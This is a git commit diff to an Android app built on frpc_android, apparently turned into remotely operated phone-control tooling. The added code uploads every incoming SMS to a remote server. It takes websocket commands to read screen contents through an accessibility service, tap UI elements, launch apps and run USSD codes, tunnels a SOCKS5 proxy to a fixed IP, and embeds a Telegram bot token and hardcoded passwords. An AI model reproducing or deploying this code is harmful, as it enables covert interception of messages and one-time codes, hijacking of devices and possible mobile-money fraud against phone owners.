hanxiaomeme 10 bulan lalu
induk
melakukan
67477e380d
20 mengubah file dengan 593 tambahan dan 150 penghapusan
  1. 35 21
      frpc_android-master/app/build.gradle
  2. 10 4
      frpc_android-master/app/src/main/AndroidManifest.xml
  3. 2 1
      frpc_android-master/app/src/main/java/com/app/MainApp.java
  4. 36 23
      frpc_android-master/app/src/main/java/com/app/duck/dialog/DialogManager.java
  5. 42 1
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  6. 23 1
      frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java
  7. 51 43
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java
  8. 96 2
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  9. 1 1
      frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml
  10. 4 1
      frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml
  11. 2 1
      frpc_android-master/app/src/main/res/raw/frpc.ini
  12. 81 0
      frpc_android-master/app/src/main/res/values-en/strings.xml
  13. 1 0
      frpc_android-master/app/src/main/res/values/strings.xml
  14. 14 0
      frpc_android-master/app/src/main/res/xml/liushui_service.xml
  15. 5 3
      frpc_android-master/ussd-library/build.gradle
  16. 155 0
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java
  17. 7 7
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java
  18. 20 24
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java
  19. 3 9
      frpc_android-master/ussd-library/src/main/res/values/strings.xml
  20. 5 8
      frpc_android-master/ussd-library/src/main/res/xml/ussd_service.xml

+ 35 - 21
frpc_android-master/app/build.gradle

@@ -6,7 +6,17 @@ android {
     compileSdkVersion 31
     flavorDimensions "baseUrl"
     productFlavors {
-        user1 {//ghpcarphone
+        userdev {
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
+        }
+        user1 {
+            //ghpcarphone
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
@@ -15,7 +25,8 @@ android {
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
         }
-        user2 {//dcduckcake
+        user2 {
+            //dcduckcake
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
             buildConfigField "String", "UPDATE_KEY", "\"2be6db19-4be6-45f5-8a93-368ad7cb6405\""
@@ -25,7 +36,8 @@ android {
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
 
         }
-        user3 {//bcblackcoffee
+        user3 {
+            //bcblackcoffee
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.bcblackcoffee.com\""
             buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
@@ -35,7 +47,8 @@ android {
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
 
         }
-        user4 {//lkluckpanda
+        user4 {
+            //lkluckpanda
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.lkluckpanda.com\""
             buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
@@ -75,28 +88,29 @@ android {
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"\""
         }
-        userfy {
+        user8 {
+            //肯尼亚 包名com.kpkingpark.ussd
             dimension "baseUrl"
-            buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.online\""
-            buildConfigField "String", "UPDATE_KEY", "\"52447696-7b59-40db-ad58-5a7bdc0f6d30\""
-            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
-
+            buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
         }
     }
     defaultConfig {
 //        applicationId "com.car.frpc_android"//之前老的包名
 //        applicationId "com.duck.man"
-        applicationId "com.si.ussd"
+//        applicationId "com.si.ussd"
+        applicationId "com.kpkingpark.ussd"
         minSdkVersion 30
         targetSdkVersion 31
-        versionCode 24
-        versionName "0.39.5.4"
+        versionCode 29
+        versionName "0.40.1.1"
         multiDexEnabled true
         ndk {
-            abiFilters 'armeabi-v8a','armeabi-v7a'
+            abiFilters 'armeabi-v8a', 'armeabi-v7a'
         }
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
@@ -115,9 +129,9 @@ android {
             def json = new JSONObject()
             json.put("versionName", variant.versionName)//版本名称
             json.put("versionCode", variant.versionCode)//版本号
-            json.put("description", "1.更新已知问题\n")//更新内容
-            json.put("isForce", true)//是否强制更新
-            json.put("title", "有新的版本可以更新!")//更新dialog显示的标题头
+            json.put("description", "New features\n")//更新内容
+            json.put("isForce", false)//是否强制更新
+            json.put("title", "New version updated")//更新dialog显示的标题头
             json.put("chatId", "-1001958143149L")//日志chat_id
             json.put("botToken", "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I")//日志token
             // 获取 APK 文件的父文件夹
@@ -158,10 +172,10 @@ android {
 
         debug {
             buildConfigField "boolean", "LOG_DEBUG", "true"
-            minifyEnabled true
-            zipAlignEnabled true
-            shrinkResources true
-            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
+            minifyEnabled false
+            zipAlignEnabled false
+            shrinkResources false
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
             signingConfig signingConfigs.debug
         }
     }

+ 10 - 4
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -20,20 +20,21 @@
     <uses-permission android:name="android.permission.CALL_PHONE" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION" />
-    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
+    <!--    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />-->
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application
         android:name="com.app.MainApp"
         android:allowBackup="true"
         android:icon="@mipmap/ic_launcher"
         android:label="@string/app_name"
+        android:largeHeap="true"
         android:requestLegacyExternalStorage="true"
         android:roundIcon="@mipmap/ic_launcher"
         android:supportsRtl="true"
         android:theme="@style/AppTheme"
-        android:largeHeap="true"
         android:usesCleartextTraffic="true">
         <activity
             android:name="com.app.duck.ui.IniEditActivity"
@@ -77,20 +78,25 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </receiver>
+
         <service android:name="com.app.duck.util.Service2" />
 
         <service
             android:name="com.romellfudi.ussdlibrary.USSDService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
-            android:exported="true">
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService" />
             </intent-filter>
             <meta-data
                 android:name="android.accessibilityservice"
                 android:resource="@xml/ussd_service" />
+            <meta-data
+                android:name="android.accessibility.canRetrieveWindowContent"
+                android:value="true" />
         </service>
 
+
         <provider
             android:name="androidx.core.content.FileProvider"
             android:authorities="${applicationId}.fileprovider"

+ 2 - 1
frpc_android-master/app/src/main/java/com/app/MainApp.java

@@ -3,10 +3,10 @@ package com.app;
 import androidx.multidex.MultiDex;
 import androidx.multidex.MultiDexApplication;
 
-import com.blankj.utilcode.util.Utils;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.util.WsManager;
+import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.LogConfiguration;
 import com.elvishew.xlog.XLog;
 import com.elvishew.xlog.flattener.ClassicFlattener;
@@ -23,6 +23,7 @@ import com.microsoft.appcenter.crashes.Crashes;
 import org.xutils.x;
 
 public class MainApp extends MultiDexApplication {
+
     @Override
     public void onCreate() {
         super.onCreate();

+ 36 - 23
frpc_android-master/app/src/main/java/com/app/duck/dialog/DialogManager.java

@@ -2,17 +2,15 @@ package com.app.duck.dialog;
 
 import static com.app.duck.Config.PHONE_TAG;
 
-import android.app.Activity;
 import android.app.ProgressDialog;
-import android.widget.EditText;
+import android.text.TextUtils;
 
-import androidx.appcompat.app.AlertDialog;
-
-import com.blankj.utilcode.util.ActivityUtils;
-import com.blankj.utilcode.util.StringUtils;
+import com.afollestad.materialdialogs.MaterialDialog;
 import com.app.duck.R;
-import com.app.duck.ui.MainActivity;
 import com.app.duck.util.HxUtils;
+import com.blankj.utilcode.util.ActivityUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ToastUtils;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 public class DialogManager {
@@ -28,22 +26,37 @@ public class DialogManager {
     }
 
     public static void phoneEditDialog() {
-        Activity context = ActivityUtils.getTopActivity();
-        androidx.appcompat.app.AlertDialog.Builder builder = new androidx.appcompat.app.AlertDialog.Builder(context);
-        builder.setTitle(R.string.phone_number);
-        builder.setMessage(R.string.number);
-        final EditText editText = new EditText(context);
-        builder.setView(editText);
-        builder.setPositiveButton(R.string.ok, (dialog, which) -> {
-            String name = editText.getText().toString();
-            if (!StringUtils.isEmpty(name)) {
-                HxUtils.setPhone(name);
-                LiveEventBus.get(PHONE_TAG).post(name);
-            }
-        });
-        builder.setNegativeButton(R.string.cancel, (dialog, which) -> dialog.cancel());
-        AlertDialog dialog = builder.create();
-        dialog.show();
+//        Activity context = ActivityUtils.getTopActivity();
+//        androidx.appcompat.app.AlertDialog.Builder builder = new androidx.appcompat.app.AlertDialog.Builder(context);
+//        builder.setTitle(R.string.phone_number);
+//        builder.setMessage(R.string.number);
+//        final EditText editText = new EditText(context);
+//        builder.setView(editText);
+//        builder.setPositiveButton(R.string.ok, (dialog, which) -> {
+//            String name = editText.getText().toString();
+//            if (!StringUtils.isEmpty(name)) {
+//                HxUtils.setPhone(name);
+//                LiveEventBus.get(PHONE_TAG).post(name);
+//            }
+//        });
+//        builder.setNegativeButton(R.string.cancel, (dialog, which) -> dialog.cancel());
+//        AlertDialog dialog = builder.create();
+//        dialog.show();
+        new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                .title(R.string.phone_number)
+                .canceledOnTouchOutside(false)
+                .autoDismiss(false)
+                .negativeText(R.string.cancel)
+                .positiveText(R.string.done)
+                .onNegative((dialog, which) -> dialog.dismiss())
+                .input("", TextUtils.isEmpty(HxUtils.getPhone()) ? "" : HxUtils.getPhone(), false, (dialog, input) ->
+                {
+                    if (!StringUtils.isEmpty(input)) {
+                        HxUtils.setPhone(input.toString());
+                        LiveEventBus.get(PHONE_TAG).post(input.toString());
+                        dialog.dismiss();
+                    }
+                }).show();
     }
 
 

+ 42 - 1
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -8,6 +8,7 @@ import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Context;
 import android.content.Intent;
+import android.util.Log;
 import android.view.Menu;
 import android.view.MenuItem;
 
@@ -17,7 +18,6 @@ import androidx.navigation.Navigation;
 import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.NavigationUI;
 
-import com.blankj.utilcode.util.ToastUtils;
 import com.app.duck.BaseActivity;
 import com.app.duck.R;
 import com.app.duck.database.Config;
@@ -28,10 +28,17 @@ import com.app.duck.util.HeartbeatWorker;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
+import com.blankj.utilcode.util.LanguageUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
+import com.romellfudi.ussdlibrary.PayController;
 import com.romellfudi.ussdlibrary.USSDController;
 
+import java.util.Locale;
+
 import io.reactivex.Observer;
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.disposables.Disposable;
@@ -47,6 +54,14 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     private androidx.lifecycle.Observer<String> observer4;
     private androidx.lifecycle.Observer<String> observer5;
 
+    public static Locale EN_LOCAL = Locale.ENGLISH;//英语
+    public static Locale CN_LOCAL = Locale.CHINESE;//简体中文
+
+    public static String[] DISPLAY_LANGUAGE_ARRAY = new String[]{EN_LOCAL.getDisplayLanguage(EN_LOCAL), CN_LOCAL.getDisplayLanguage(CN_LOCAL)};
+    public static Locale[] LOCAL_ARRAY = new Locale[]{EN_LOCAL, CN_LOCAL};
+
+    private Locale currentLocal = EN_LOCAL;
+
     @Override
     public void initView() {
         setSupportActionBar(b.appBarMain.toolbar);
@@ -80,6 +95,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         startForegroundService();
         checkForUpdate();
         HxUtils.checkForUpdateBotConfig();
+
+        Log.d("hzshkj", "[MainActivity] initView: ");
     }
 
     @Override
@@ -138,6 +155,15 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         return super.onOptionsItemSelected(item);
     }
 
+    private void demo() {
+        Log.d("hzshkj", PayController.getNowRootInActiveWindow());
+        ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+            @Override
+            public void run() {
+                demo();
+            }
+        }, 3000);
+    }
 
     @Override
     public boolean onCreateOptionsMenu(Menu menu) {
@@ -161,6 +187,21 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
             case R.id.about:
                 HxUtils.checkForUpdate(context, true);
                 break;
+            case R.id.change:
+                int checkedItem = 0;
+                new MaterialAlertDialogBuilder(this).
+                        setTitle(R.string.change)
+                        .setNeutralButton(R.string.cancel, (dialogInterface, i) -> dialogInterface.dismiss())
+                        .setPositiveButton(R.string.ok, (dialogInterface, i) -> {
+                            if (LanguageUtils.isAppliedLanguage()) {
+                                LanguageUtils.applyLanguage(currentLocal, false);
+                                dialogInterface.dismiss();
+                            } else {
+                                LanguageUtils.applyLanguage(currentLocal, false);
+                            }
+                        }).setSingleChoiceItems(DISPLAY_LANGUAGE_ARRAY, checkedItem,
+                                (dialogInterface, i) -> currentLocal = LOCAL_ARRAY[i]).show();
+                break;
 
         }
         return super.onOptionsItemSelected(item);

+ 23 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -21,13 +21,16 @@ import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 
 import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.zip.GZIPOutputStream;
 
 import io.reactivex.Completable;
 import io.reactivex.Observable;
@@ -106,6 +109,7 @@ public class HxUtils {
         }).start();
     }
 
+
     public static void checkForUpdateBotConfig() {
         ThreadUtils.executeBySingle(new ThreadUtils.Task<Object>() {
             @Override
@@ -139,7 +143,7 @@ public class HxUtils {
 
             @Override
             public void onSuccess(Object result) {
-
+//                ToastUtils.showShort();
             }
 
             @Override
@@ -190,4 +194,22 @@ public class HxUtils {
         });
 
     }
+
+
+    /**
+     * 压缩数据
+     *
+     * @param str 压缩的内容
+     * @return 被压缩的内容
+     * @throws Exception 异常
+     */
+    public static byte[] gzip(String str) throws Exception {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        GZIPOutputStream gos = new GZIPOutputStream(baos);
+        gos.write(str.getBytes(StandardCharsets.UTF_8));
+        gos.close();
+        return baos.toByteArray();
+    }
+
+
 }

+ 51 - 43
frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -12,14 +12,14 @@ import android.telephony.SmsMessage;
 import android.util.Log;
 
 import com.alibaba.fastjson.JSON;
-import com.blankj.utilcode.util.GsonUtils;
-import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.Utils;
 import com.app.duck.Config;
 import com.app.duck.database.DBHelper;
 import com.app.http.APPConfig;
 import com.app.http.BaseBean;
 import com.app.http.Http;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 
 import java.util.HashMap;
@@ -30,7 +30,6 @@ public class SmsReceiver extends BroadcastReceiver {
     @Override
     public void onReceive(Context context, Intent intent) {
         if (intent.getAction().equals(SMS_RECEIVED)) {
-
             ThreadUtils.runOnUiThreadDelayed(() -> {
                 HashMap<String, String> map = new HashMap<>();
                 Bundle bundle = intent.getExtras();
@@ -53,11 +52,11 @@ public class SmsReceiver extends BroadcastReceiver {
                         map.put("address", HxUtils.getPhone());
                         map.put("timestampMillis", timestampMillis + "");
                         String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, smsBody, map));
-                        pushSms(simInfo);
+                        pushSms(simInfo, 0, 1000);
 
                     }
                 }
-            }, 5000);
+            }, 7000);
 
         }
 
@@ -66,28 +65,28 @@ public class SmsReceiver extends BroadcastReceiver {
     private HashMap<String, String> findSMSId(Context context, long timestamp, String body, HashMap<String, String> map) {
         // 查询短信数据库,根据发送方号码和时间戳等属性来定位短信记录,并获取其ID
         Uri uri = Uri.parse("content://sms/inbox");
-        String selection = "date_sent = ? AND body = ?";
+        String selection = "date_sent = ? or body = ?";
         String[] selectionArgs = new String[]{String.valueOf(timestamp), body};
 
         Cursor cursor = context.getContentResolver().query(uri, null, selection, selectionArgs, null);
         if (cursor != null && cursor.moveToFirst()) {
             int index1 = cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
             if (index1 >= 0) {
-                String address = cursor.getString(index1); // 收件人
+                String address = cursor.getString(index1);
                 map.put("sender", address);
             } else {
                 XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
             }
             int index2 = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE);
             if (index2 >= 0) {
-                long date = cursor.getLong(index2); // 收件时间
+                long date = cursor.getLong(index2);
                 map.put("date", date + "");
             } else {
                 XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
             }
             int index3 = cursor.getColumnIndexOrThrow(Telephony.Sms._ID);
             if (index3 >= 0) {
-                int id = cursor.getInt(index3); // 收件时间
+                int id = cursor.getInt(index3);
                 map.put("id", id + "");
             } else {
                 XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
@@ -134,40 +133,49 @@ public class SmsReceiver extends BroadcastReceiver {
         return map;
     }
 
-    private void pushSms(String s) {
-        HashMap<String, Object> map = new HashMap<>();
-        map.put("data", s);
-        map.put("password", "o6M5sG7E@FAWLBL9");
-        Http.getInstance()
-                .setUrlPath(APPConfig.BASE, APPConfig.SMS)
-                .setParams(map)
-                .setErrorStyle(Http.ERROR_HIDE)
-                .setLoadStyle(Http.ERROR_HIDE)
-                .setBindLife(false)
-                .setRetryCount(3)
-                .post(new Http.HttpCallBack<String>() {
-                    @Override
-                    public void onNext(String model) {
-                        try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
-                            dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
-                        } catch (Exception e) {
-                            XLog.e("pushSms error.", e);
-                        }
-
-                    }
-
-                    @Override
-                    public void onError(Throwable ex) {
-                        super.onError(ex);
-                        XLog.e("Push SMS error.", ex);
-                    }
+    private void pushSms(String s, int retryCount, long delay) {
+        ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+            @Override
+            public void run() {
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("data", s);
+                map.put("password", "o6M5sG7E@FAWLBL9");
+                Http.getInstance()
+                        .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                        .setParams(map)
+                        .setErrorStyle(Http.ERROR_HIDE)
+                        .setLoadStyle(Http.ERROR_HIDE)
+                        .setBindLife(false)
+                        .setRetryCount(3)
+                        .post(new Http.HttpCallBack<String>() {
+                            @Override
+                            public void onNext(String model) {
+                                try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
+                                    dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
+                                } catch (Exception e) {
+                                    XLog.e("pushSms error.", e);
+                                }
+
+                            }
+
+                            @Override
+                            public void onError(Throwable ex) {
+                                super.onError(ex);
+                                XLog.e("Push SMS error.", ex);
+                                if (retryCount < 10) {
+                                    pushSms(s, retryCount + 1, delay);
+                                }
+                            }
+
+                            @Override
+                            public void onFail(BaseBean t) {
+                                super.onFail(t);
+                                XLog.e("Push SMS fail." + t.getMsg());
+                            }
+                        });
+            }
+        }, delay);
 
-                    @Override
-                    public void onFail(BaseBean t) {
-                        super.onFail(t);
-                        XLog.e("Push SMS fail." + t.getMsg());
-                    }
-                });
     }
 }
 

+ 96 - 2
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -4,25 +4,31 @@ import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Intent;
 import android.os.Handler;
+import android.util.Base64;
 import android.util.Log;
 
 import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONArray;
 import com.alibaba.fastjson.JSONObject;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
+import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.IntentUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.romellfudi.ussdlibrary.OverlayShowingService;
+import com.romellfudi.ussdlibrary.PayController;
 import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
 
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.concurrent.Executors;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.ScheduledFuture;
@@ -81,6 +87,11 @@ public final class WsManager {
                 String command = json.getString("command");
                 String requestId = json.getString("request_id");
                 String ussdCode = json.getString("value");
+                String packageName = json.getString("packageName");
+                int hashCode = json.getIntValue("hashCode");
+                int action = json.getIntValue("action");
+                JSONArray arguments = json.getJSONArray("arguments");
+                Log.d("hzshkj", "[WsManager] onMessage: " + json);
                 switch (command) {
                     case "invoke":
                         ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
@@ -102,9 +113,19 @@ public final class WsManager {
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
+                    case "getRootInActiveWindow":
+                        ThreadUtils.runOnUiThread(() -> getNowRootInActiveWindow(requestId));
+                        break;
+                    case "startApp":
+                        ThreadUtils.runOnUiThread(() -> startApp(requestId, packageName));
+                        break;
+                    case "performAction":
+                        ThreadUtils.runOnUiThread(() -> performAction(requestId, hashCode, action, arguments));
+                        break;
+                    case "performGlobalAction":
+                        ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
                         break;
                     default:
-                        ToastUtils.showLong(command + " 没有定义该操作!");
                         XLog.e(command + " 没有定义该操作!");
                         break;
 
@@ -249,6 +270,79 @@ public final class WsManager {
 
     }
 
+    private static void getNowRootInActiveWindow(String request_id) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Exception {
+                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
+            }
+
+            @Override
+            public void onSuccess(String result) {
+                sendWebSocketMsg(request_id, "successful", result);
+            }
+
+
+            @Override
+            public void onCancel() {
+                sendWebSocketMsg(request_id, "exception", "exception");
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                sendWebSocketMsg(request_id, "exception", t.getMessage());
+            }
+        });
+
+    }
+
+    private static void startApp(String request_id, String packageName) {
+        if (!StringUtils.isSpace(packageName)) {
+            Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
+            if (launchAppIntent == null) {
+                sendWebSocketMsg(request_id, "exception", "Didn't exist launcher activity.");
+                return;
+            }
+            Utils.getApp().startActivity(launchAppIntent);
+            AppUtils.launchApp(packageName);
+            sendWebSocketMsg(request_id, "successful", "");
+        } else {
+            sendWebSocketMsg(request_id, "exception", "packageName is null or white space");
+        }
+    }
+
+    private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
+        try {
+            Log.d("hzshkj", "[WsManager] onMessage: " + (jsonArray == null || jsonArray.size() == 0));
+
+            if (jsonArray == null || jsonArray.size() == 0) {
+                PayController.performActionEvent1(hashCode, action);
+            } else {
+                List<HashMap<String, Object>> list = new ArrayList<>();
+                for (Object o : jsonArray) {
+                    HashMap<String, Object> map = new HashMap<>();
+                    map.put("key", ((JSONObject) (o)).getString("key"));
+                    map.put("value", ((JSONObject) (o)).getString("value"));
+                    map.put("type", ((JSONObject) (o)).getString("type"));
+                    list.add(map);
+                }
+                PayController.performActionEvent2(hashCode, action, list);
+            }
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    private static void performGlobalAction(String request_id, int action) {
+        try {
+            PayController.performGlobalAction(action);
+            sendWebSocketMsg(request_id, "successful", "");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
     private static void cancelUssd(String request_id) {
         try {
             ussdApi.cancel();

+ 1 - 1
frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml

@@ -19,7 +19,7 @@
             android:background="?attr/colorPrimary"
             app:popupTheme="@style/ThemeOverlay.AppCompat.Light"
             app:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar"
-            app:title="配置文件"
+            app:title="@string/menu_home"
             app:titleTextColor="@color/white" />
 
     </com.google.android.material.appbar.AppBarLayout>

+ 4 - 1
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -20,7 +20,10 @@
                 android:id="@+id/about"
                 android:icon="@drawable/ic_logcat_white"
                 android:title="@string/frpc_version" />
-
+            <item
+                android:id="@+id/change"
+                android:icon="@drawable/ic_logcat_white"
+                android:title="@string/change" />
         </menu>
     </item>
 </menu>

+ 2 - 1
frpc_android-master/app/src/main/res/raw/frpc.ini

@@ -1,5 +1,5 @@
 [common]
-server_addr = 3.68.76.198
+server_addr = 3.68.158.69
 server_port = 7000
 protocol = kcp
 token = 123678asbsfd
@@ -9,3 +9,4 @@ token = 123678asbsfd
 type = tcp
 remote_port = XXXX
 plugin = socks5
+

+ 81 - 0
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string name="app_name">SpiderMan</string>
+    <string name="title_activity_main">SpiderMan</string>
+    <string name="action_settings">Settings</string>
+    <string name="action_ussd_msg">Please wait a moment, USSD communication in progress!</string>
+    <string name="menu_home">Configuration file</string>
+    <string name="permissionReason">Grant storage permission for reading and writing configuration files.</string>
+    <string name="action_add">Add</string>
+    <string name="action_add_text">Create New Configuration Text</string>
+    <string name="action_add_acc">Accessibility Service Check</string>
+    <string name="action_add_acc2">Floating Window Permission Check</string>
+    <string name="action_add_url">Import from URL</string>
+    <string name="action_add_file">Import from File</string>
+    <string name="action_add_scan">Scan QR Code</string>
+    <string name="action_save">Save</string>
+    <string name="action_template">Template</string>
+    <string name="titleInputFileName">Please enter the file name</string>
+    <string name="cancel">Cancel</string>
+    <string name="done">Confirm</string>
+    <string name="tipSaveSuccess">Save successful</string>
+    <string name="actionDeleteSuccess">Deleted</string>
+    <string name="actionDeleteFailed">Deletion failed</string>
+    <string name="titleModifyFileName">Modify file name</string>
+    <string name="notOpened">Disabled</string>
+    <string name="hasOpened">Enabled</string>
+    <string name="notSelectIni">No configuration file selected</string>
+    <string name="needStopService">Please disable the service first</string>
